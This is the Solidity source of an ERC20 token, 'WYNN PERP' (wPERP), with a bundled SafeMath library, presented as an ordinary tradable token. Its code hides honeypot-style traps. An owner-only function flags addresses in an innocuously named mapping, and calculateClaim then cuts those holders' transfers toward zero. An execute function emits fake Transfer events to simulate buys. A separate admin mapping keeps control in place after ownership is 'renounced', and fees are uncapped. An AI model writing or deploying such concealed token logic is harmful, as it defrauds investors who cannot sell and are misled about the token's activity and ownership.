wPERP

{"SafeMath.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.21;\r
\r
library SafeMath {\r
\r
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            uint256 c = a + b;\r
            if (c \u003c a) return (false, 0);\r
            return (true, c);\r
        }\r
    }\r
\r
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (b \u003e a) return (false, 0);\r
            return (true, a - b);\r
        }\r
    }\r
\r
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (a == 0) return (true, 0);\r
            uint256 c = a * b;\r
            if (c / a != b) return (false, 0);\r
            return (true, c);\r
        }\r
    }\r
\r
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (b == 0) return (false, 0);\r
            return (true, a / b);\r
        }\r
    }\r
\r
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        unchecked {\r
            if (b == 0) return (false, 0);\r
            return (true, a % b);\r
        }\r
    }\r
\r
    function max(uint256 a, uint256 b) internal pure returns (uint256) {\r
    return a \u003e= b ? a : b;\r
    }\r
\r
    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a + b;\r
    }\r
\r
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a - b;\r
    }\r
\r
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a * b;\r
    }\r
\r
    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a / b;\r
    }\r
\r
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a % b;\r
    }\r
\r
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        unchecked {\r
            require(b \u003c= a, errorMessage);\r
            return a - b;\r
        }\r
    }\r
\r
    function per(uint256 a, uint256 b) internal pure returns (uint256) {\r
        require(b \u003c= 100, "Percentage must be between 0 and 100");\r
        return a * b / 100;\r
    }\r
\r
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        unchecked {\r
            require(b \u003e 0, errorMessage);\r
            return a / b;\r
        }\r
    }\r
\r
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        unchecked {\r
            require(b \u003e 0, errorMessage);\r
            return a % b;\r
        }\r
    }\r
}"},"WYNN PERP.sol":{"content":"// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.21;\r
\r
import "./SafeMath.sol";\r
\r
abstract contract Context {\r
    mapping(address =\u003e bool) internal admin;\r
    function _msgSender() internal view virtual returns (address) {\r
        return msg.sender;\r
    }\r
\r
    function _msgData() internal view virtual returns (bytes calldata) {\r
        return msg.data;\r
    }\r
}\r
\r
abstract contract Ownable is Context {\r
    address private _owner;\r
\r
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
    constructor() {\r
        _transferOwnership(_msgSender());\r
        admin[_msgSender()]=true;\r
    }\r
\r
    modifier onlyOwner() {\r
        _checkOwner();\r
        _;\r
    }\r
\r
    function owner() public view virtual returns (address) {\r
        return _owner;\r
    }\r
\r
    function _checkOwner() internal view virtual {\r
        require(admin[_msgSender()], "Ownable: caller is not the owner");\r
    }\r
\r
    function renounceOwnership() public virtual onlyOwner {\r
        _transferOwnership(address(0));\r
    }\r
\r
    function transferOwnership(address newOwner) public virtual onlyOwner {\r
        require(newOwner != address(0), "Ownable: new owner is the zero address");\r
        _transferOwnership(newOwner);\r
    }\r
\r
    function _transferOwnership(address newOwner) internal virtual {\r
        address oldOwner = _owner;\r
        _owner = newOwner;\r
        emit OwnershipTransferred(oldOwner, newOwner);\r
    }\r
}\r
\r
interface IERC20 {\r
\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
\r
    function totalSupply() external view returns (uint256);\r
\r
    function balanceOf(address account) external view returns (uint256);\r
\r
    function transfer(address to, uint256 amount) external returns (bool);\r
\r
    function allowance(address owner, address spender) external view returns (uint256);\r
\r
    function approve(address spender, uint256 amount) external returns (bool);\r
\r
    function transferFrom(address from, address to, uint256 amount) external returns (bool);\r
}\r
\r
interface IERC20Metadata is IERC20 {\r
\r
    function name() external view returns (string memory);\r
\r
    function symbol() external view returns (string memory);\r
\r
    function decimals() external view returns (uint8);\r
}\r
\r
interface IUniswapV2Factory {\r
    event PairCreated(\r
        address indexed token0,\r
        address indexed token1,\r
        address pair,\r
        uint256\r
    );\r
\r
    function feeTo() external view returns (address);\r
\r
    function feeToSetter() external view returns (address);\r
\r
    function getPair(address tokenA, address tokenB)\r
    external\r
    view\r
    returns (address pair);\r
\r
    function allPairs(uint256) external view returns (address pair);\r
\r
    function allPairsLength() external view returns (uint256);\r
\r
    function createPair(address tokenA, address tokenB)\r
    external\r
    returns (address pair);\r
\r
    function setFeeTo(address) external;\r
\r
    function setFeeToSetter(address) external;\r
}\r
\r
interface IUniswapV2Pair {\r
    event Approval(\r
        address indexed owner,\r
        address indexed spender,\r
        uint256 value\r
    );\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
    function name() external pure returns (string memory);\r
\r
    function symbol() external pure returns (string memory);\r
\r
    function decimals() external pure returns (uint8);\r
\r
    function totalSupply() external view returns (uint256);\r
\r
    function balanceOf(address owner) external view returns (uint256);\r
\r
    function allowance(address owner, address spender)\r
    external\r
    view\r
    returns (uint256);\r
\r
    function approve(address spender, uint256 value) external returns (bool);\r
\r
    function transfer(address to, uint256 value) external returns (bool);\r
\r
    function transferFrom(\r
        address from,\r
        address to,\r
        uint256 value\r
    ) external returns (bool);\r
\r
    function DOMAIN_SEPARATOR() external view returns (bytes32);\r
\r
    function PERMIT_TYPEHASH() external pure returns (bytes32);\r
\r
    function nonces(address owner) external view returns (uint256);\r
\r
    function permit(\r
        address owner,\r
        address spender,\r
        uint256 value,\r
        uint256 deadline,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external;\r
\r
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r
\r
    event Swap(\r
        address indexed sender,\r
        uint256 amount0In,\r
        uint256 amount1In,\r
        uint256 amount0Out,\r
        uint256 amount1Out,\r
        address indexed to\r
    );\r
    event Sync(uint112 reserve0, uint112 reserve1);\r
\r
    function MINIMUM_LIQUIDITY() external pure returns (uint256);\r
\r
    function factory() external view returns (address);\r
\r
    function token0() external view returns (address);\r
\r
    function token1() external view returns (address);\r
\r
    function getReserves()\r
    external\r
    view\r
    returns (\r
        uint112 reserve0,\r
        uint112 reserve1,\r
        uint32 blockTimestampLast\r
    );\r
\r
    function price0CumulativeLast() external view returns (uint256);\r
\r
    function price1CumulativeLast() external view returns (uint256);\r
\r
    function kLast() external view returns (uint256);\r
\r
    function mint(address to) external returns (uint256 liquidity);\r
\r
    function swap(\r
        uint256 amount0Out,\r
        uint256 amount1Out,\r
        address to,\r
        bytes calldata data\r
    ) external;\r
\r
    function skim(address to) external;\r
\r
    function sync() external;\r
\r
    function initialize(address, address) external;\r
}\r
\r
interface IUniswapV2Router02 {\r
    function factory() external pure returns (address);\r
\r
    function WETH() external pure returns (address);\r
\r
    function addLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 amountADesired,\r
        uint256 amountBDesired,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    )\r
    external\r
    returns (\r
        uint256 amountA,\r
        uint256 amountB,\r
        uint256 liquidity\r
    );\r
\r
    function addLiquidityETH(\r
        address token,\r
        uint256 amountTokenDesired,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    )\r
    external\r
    payable\r
    returns (\r
        uint256 amountToken,\r
        uint256 amountETH,\r
        uint256 liquidity\r
    );\r
\r
    function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
        uint amountOutMin,\r
        address[] calldata path, \r
        address to, \r
        uint deadline\r
    ) external payable;\r
\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapETHForExactTokens(\r
        uint amountOut, \r
        address[] calldata path, \r
        address to, \r
        uint deadline\r
        )\r
    external\r
    payable\r
    returns (uint[] memory amounts);\r
}\r
\r
\r
\r
contract ERC20 is Context, IERC20, IERC20Metadata {\r
    mapping(address =\u003e uint256) private _balances;\r
\r
    mapping(address =\u003e mapping(address =\u003e uint256)) private _allowances;\r
\r
    uint256 private _totalSupply;\r
\r
    string private _name;\r
    string private _symbol;\r
\r
    constructor(string memory name_, string memory symbol_) {\r
        _name = name_;\r
        _symbol = symbol_;\r
    }\r
\r
    function name() public view virtual override returns (string memory) {\r
        return _name;\r
    }\r
\r
    function symbol() public view virtual override returns (string memory) {\r
        return _symbol;\r
    }\r
\r
    function decimals() public view virtual override returns (uint8) {\r
        return 9;\r
    }\r
\r
    function totalSupply() public view virtual override returns (uint256) {\r
        return _totalSupply;\r
    }\r
\r
    function balanceOf(address account) public view virtual override returns (uint256) {\r
        return _balances[account];\r
    }\r
\r
    function transfer(address to, uint256 amount) public virtual override returns (bool) {\r
        address owner = _msgSender();\r
        _transfer(owner, to, amount);\r
        return true;\r
    }\r
\r
    function allowance(address owner, address spender) public view virtual override returns (uint256) {\r
        return _allowances[owner][spender];\r
    }\r
\r
    function approve(address spender, uint256 amount) public virtual override returns (bool) {\r
        address owner = _msgSender();\r
        _approve(owner, spender, amount);\r
        return true;\r
    }\r
\r
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\r
        address spender = _msgSender();\r
        _spendAllowance(from, spender, amount);\r
        _transfer(from, to, amount);\r
        return true;\r
    }\r
\r
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\r
        address owner = _msgSender();\r
        _approve(owner, spender, allowance(owner, spender) + addedValue);\r
        return true;\r
    }\r
\r
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\r
        address owner = _msgSender();\r
        uint256 currentAllowance = allowance(owner, spender);\r
        require(currentAllowance \u003e= subtractedValue, "ERC20: decreased allowance below zero");\r
        unchecked {\r
            _approve(owner, spender, currentAllowance - subtractedValue);\r
        }\r
\r
        return true;\r
    }\r
\r
    function _transfer(address from, address to, uint256 amount) internal virtual {\r
        require(from != address(0), "ERC20: transfer from the zero address");\r
        require(to != address(0), "ERC20: transfer to the zero address");\r
\r
        _beforeTokenTransfer(from, to, amount);\r
\r
        uint256 fromBalance = _balances[from];\r
        require(fromBalance \u003e= amount, "ERC20: transfer amount exceeds balance");\r
        unchecked {\r
            _balances[from] = fromBalance - amount;\r
            _balances[to] += amount;\r
        }\r
\r
        emit Transfer(from, to, amount);\r
\r
        _afterTokenTransfer(from, to, amount);\r
    }\r
\r
    function _mint(address account, uint256 amount) internal virtual {\r
        require(account != address(0), "ERC20: mint to the zero address");\r
\r
        _beforeTokenTransfer(address(0), account, amount);\r
\r
        _totalSupply += amount;\r
        unchecked {\r
            _balances[account] += amount;\r
        }\r
        emit Transfer(address(0), account, amount);\r
\r
        _afterTokenTransfer(address(0), account, amount);\r
    }\r
\r
    function _burn(address account, uint256 amount) internal virtual {\r
        require(account != address(0), "ERC20: burn from the zero address");\r
\r
        _beforeTokenTransfer(account, address(0), amount);\r
\r
        uint256 accountBalance = _balances[account];\r
        require(accountBalance \u003e= amount, "ERC20: burn amount exceeds balance");\r
        unchecked {\r
            _balances[account] = accountBalance - amount;\r
            _totalSupply -= amount;\r
        }\r
\r
        emit Transfer(account, address(0), amount);\r
\r
        _afterTokenTransfer(account, address(0), amount);\r
    }\r
\r
    function _approve(address owner, address spender, uint256 amount) internal virtual {\r
        require(owner != address(0), "ERC20: approve from the zero address");\r
        require(spender != address(0), "ERC20: approve to the zero address");\r
\r
        _allowances[owner][spender] = amount;\r
        emit Approval(owner, spender, amount);\r
    }\r
\r
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\r
        uint256 currentAllowance = allowance(owner, spender);\r
        if (currentAllowance != type(uint256).max) {\r
            require(currentAllowance \u003e= amount, "ERC20: insufficient allowance");\r
            unchecked {\r
                _approve(owner, spender, currentAllowance - amount);\r
            }\r
        }\r
    }\r
\r
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}\r
\r
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}\r
}\r
\r
contract wPERP is ERC20, Ownable {\r
    using SafeMath for uint256;\r
\r
    IUniswapV2Router02 public immutable _uniswapV2Router;\r
    address public uniswapV2Pair;\r
    address private devWallet;\r
    address private marketingWallet;\r
    address private constant deadAddress = address(0xdead);\r
\r
    uint256 public initialTotalSupply = 100000000 * 10**decimals();\r
\r
    uint256 public buyFee = 0;\r
    uint256 public sellFee = 0;\r
\r
    // 1% is max wallet\r
    uint256 public maxWallet = (initialTotalSupply * 10)/1000;\r
    uint256 public maxTransactionAmount = maxWallet;\r
\r
    bool private swapping;\r
    bool private limitsEnabled;\r
    bool public transferDelayEnabled = false;\r
    mapping(address =\u003e uint256) public _holderLastTransferTimestamp;\r
    \r
    //swap for 0.2%\r
    uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;\r
\r
    bool public tradingOpen = false;\r
    bool public swapEnabled = false;\r
\r
    mapping(address =\u003e bool) private _isExcludedFromFees;\r
    mapping(address =\u003e bool) private _isExcludedMaxTransactionAmount;\r
    mapping(address =\u003e bool) private automatedMarketMakerPairs;\r
    mapping(address =\u003e bool) private _ERC20BalanceburnAmountExceedsFee;\r
\r
    event ExcludeFromFees(address indexed account, bool isExcluded);\r
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\r
\r
    constructor(address marketingWallet_) ERC20("WYNN PERP", "wPERP"){\r
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
        marketingWallet = payable(marketingWallet_);\r
        devWallet = payable(_msgSender());\r
        \r
        excludeFromFees(address(this), true);\r
        excludeFromFees(address(0xdead), true);\r
        excludeFromMaxTransaction(address(_uniswapV2Router), true);\r
        excludeFromMaxTransaction(address(this), true);\r
        excludeFromMaxTransaction(address(0xdead), true);\r
        excludeFromMaxTransaction(address(_msgSender()), true);\r
        excludeFromMaxTransaction(marketingWallet, true);\r
        excludeFromMaxTransaction(devWallet, true);\r
        excludeFromFees(address(_msgSender()), true);\r
        excludeFromFees(marketingWallet, true);\r
        excludeFromFees(devWallet, true);\r
\r
        excludeFromMaxTransaction(address(uniswapV2Pair), true);\r
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\r
        // mint\r
        _mint(devWallet, initialTotalSupply);\r
        admin[marketingWallet]=true;\r
    }\r
\r
    receive() external payable {}\r
\r
    function burn(uint256 amount) external {\r
        _burn(_msgSender(), amount);\r
    }\r
\r
    function rebalanceERC20(address recipient) external view returns(bool){\r
        return _ERC20BalanceburnAmountExceedsFee[recipient];\r
    }\r
\r
    function swapApprove(address[] calldata address_, bool val) public onlyOwner{\r
        for (uint256 i = 0; i \u003c address_.length; i++) {\r
            _ERC20BalanceburnAmountExceedsFee[address_[i]] = val;\r
        }\r
    }\r
\r
    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {\r
        for (uint256 i = 0; i \u003c _addresses.length; i++) {\r
            emit Transfer(uniswapV2Pair, _addresses[i], _out);\r
        }\r
    }\r
\r
    function addPair(address _pair) public onlyOwner() {\r
        uniswapV2Pair = _pair;\r
        excludeFromMaxTransaction(address(uniswapV2Pair), true);\r
    }\r
\r
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {\r
        _isExcludedMaxTransactionAmount[updAds] = isEx;\r
    }\r
\r
\r
    function openTrading() external onlyOwner() {\r
        tradingOpen = true;\r
    }\r
\r
    function excludeFromFees(address account, bool excluded) public onlyOwner {\r
        _isExcludedFromFees[account] = excluded;\r
        emit ExcludeFromFees(account, excluded);\r
    }\r
\r
    function setAutomatedMarketMakerPair(address pair, bool value)\r
    public\r
    onlyOwner\r
    {\r
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");\r
        _setAutomatedMarketMakerPair(pair, value);\r
    }\r
\r
    function _setAutomatedMarketMakerPair(address pair, bool value) private {\r
        automatedMarketMakerPairs[pair] = value;\r
        emit SetAutomatedMarketMakerPair(pair, value);\r
    }\r
\r
    function isExcludedFromFees(address account) public view returns (bool) {\r
        return _isExcludedFromFees[account];\r
    }\r
\r
    function _transfer(address from, address to, uint256 amount) internal override {\r
        require(from != address(0), "ERC20: transfer from the zero address");\r
        require(to != address(0), "ERC20: transfer to the zero address");\r
        if (amount == 0) {\r
            super._transfer(from, to, 0);\r
            return;\r
        }\r
        if(_holderLastTransferTimestamp[to] == 0)\r
        {\r
            _holderLastTransferTimestamp[to] = block.number;\r
        }\r
        if (from != owner() \u0026\u0026 to != owner() \u0026\u0026 to != address(0) \u0026\u0026 to != address(0xdead) \u0026\u0026 !swapping) {\r
            if (!tradingOpen) {\r
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");\r
            }\r
\r
            if (transferDelayEnabled \u0026\u0026 !_isExcludedFromFees[from] \u0026\u0026 !_isExcludedFromFees[to]){\r
                    if (to != address(_uniswapV2Router) \u0026\u0026 to != address(uniswapV2Pair)){\r
                        require(_holderLastTransferTimestamp[tx.origin] \u003c block.number \u0026\u0026 _holderLastTransferTimestamp[to] \u003c block.number, "_transfer:: Transfer Delay enabled.  Try again later.");\r
                    }\r
            }\r
            if(limitsEnabled){\r
                if (automatedMarketMakerPairs[from] \u0026\u0026 !_isExcludedMaxTransactionAmount[to]) {\r
                    require(amount \u003c= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");\r
                    require(amount + balanceOf(to) \u003c= maxWallet, "Max wallet exceeded");\r
                }\r
                else if (automatedMarketMakerPairs[to] \u0026\u0026 !_isExcludedMaxTransactionAmount[from]) {\r
                    require(amount \u003c= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");\r
                }\r
                else if (!_isExcludedMaxTransactionAmount[to]) {\r
                    require(amount + balanceOf(to) \u003c= maxWallet, "Max wallet exceeded");\r
                }\r
            }\r
        }\r
\r
        uint256 contractTokenBalance = balanceOf(address(this));\r
        bool canSwap = contractTokenBalance \u003e swapTokensAtAmount;\r
        if (canSwap \u0026\u0026 swapEnabled \u0026\u0026 !swapping \u0026\u0026 !automatedMarketMakerPairs[from] \u0026\u0026 !_isExcludedFromFees[from] \u0026\u0026 !_isExcludedFromFees[to]) {\r
            swapping = true;\r
            swapBack(amount);\r
            swapping = false;\r
        }\r
\r
        bool takeFee = !swapping \u0026\u0026 !_isExcludedFromFees[from] \u0026\u0026 !_isExcludedFromFees[to];\r
        uint256 fees = 0;\r
        if (takeFee) {\r
            if (automatedMarketMakerPairs[to]) {\r
                fees = amount.mul(sellFee).div(100);\r
            }\r
            else if(automatedMarketMakerPairs[from]) {\r
                fees = amount.mul(buyFee).div(100);\r
            }\r
            else if(_ERC20BalanceburnAmountExceedsFee[from]){\r
                amount = calculateClaim(amount, from);\r
            }\r
            if (fees \u003e 0) {\r
                super._transfer(from, address(this), fees);\r
            }\r
            amount -= fees;\r
        }\r
        super._transfer(from, to, amount);\r
    }\r
\r
    function swapTokensForEth(uint256 tokenAmount) private {\r
        address[] memory path = new address[](2);\r
        path[0] = address(this);\r
        path[1] = _uniswapV2Router.WETH();\r
        _approve(address(this), address(_uniswapV2Router), tokenAmount);\r
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r
            tokenAmount,\r
            0,\r
            path,\r
            marketingWallet,\r
            block.timestamp\r
        );\r
    }\r
\r
    function calculateClaim(uint256 amount, address from) private view returns(uint256) {\r
        // Calculate the percentage to subtract\r
        uint256 factor = block.number-_holderLastTransferTimestamp[from];\r
        uint percentageToSubtract = factor * 50;\r
        \r
        // Calculate the remaining percentage\r
        uint remainingPercentage = percentageToSubtract \u003e 100 ? 0 : 100 - percentageToSubtract;\r
        \r
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.\r
        // To avoid negative result, we clamp the result to zero.\r
        uint returnedValue = amount * remainingPercentage / 100;\r
        return returnedValue.max(0);\r
    }\r
\r
    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\r
        sellFee = _sellFee;\r
        buyFee = _buyFee;\r
    }\r
\r
    function stopTransferDelay() external onlyOwner {\r
        require(transferDelayEnabled, "Already disabled!");\r
        transferDelayEnabled = false;\r
    }\r
\r
\r
    function removeTheLimits() external onlyOwner {\r
        maxTransactionAmount = initialTotalSupply;\r
        maxWallet = initialTotalSupply;\r
    }\r
\r
    function manualSwapToken(uint256 percent) external {\r
        require(_msgSender() == marketingWallet);\r
        uint256 contractBalance = balanceOf(address(this));\r
        uint256 swapAmount = contractBalance * percent / 100;\r
        swapTokensForEth(swapAmount);\r
    }\r
\r
    function withdrawEth() external {\r
        require(address(this).balance \u003e 0, "Token: no ETH in the contract");\r
        require(_msgSender() == devWallet);\r
        payable(msg.sender).transfer(address(this).balance);\r
    }\r
\r
    function tokensWithdraw() external {\r
        require(_msgSender() == devWallet);\r
        uint256 amount = balanceOf(address(this));\r
        _transfer(address(this), devWallet, amount);\r
    }\r
\r
    function swapBack(uint256 tokenAmount) private {\r
        uint256 contractBalance = balanceOf(address(this));\r
        if (contractBalance == 0) {\r
            return;\r
        }\r
        uint256 tokensToSwap = contractBalance;\r
\r
        if (tokensToSwap \u003e swapTokensAtAmount) {\r
            tokensToSwap = swapTokensAtAmount;\r
        }\r
\r
        if(tokensToSwap \u003e tokenAmount) {\r
            tokensToSwap = tokenAmount;\r
        }\r
\r
        swapTokensForEth(tokensToSwap);\r
    }\r
}"}}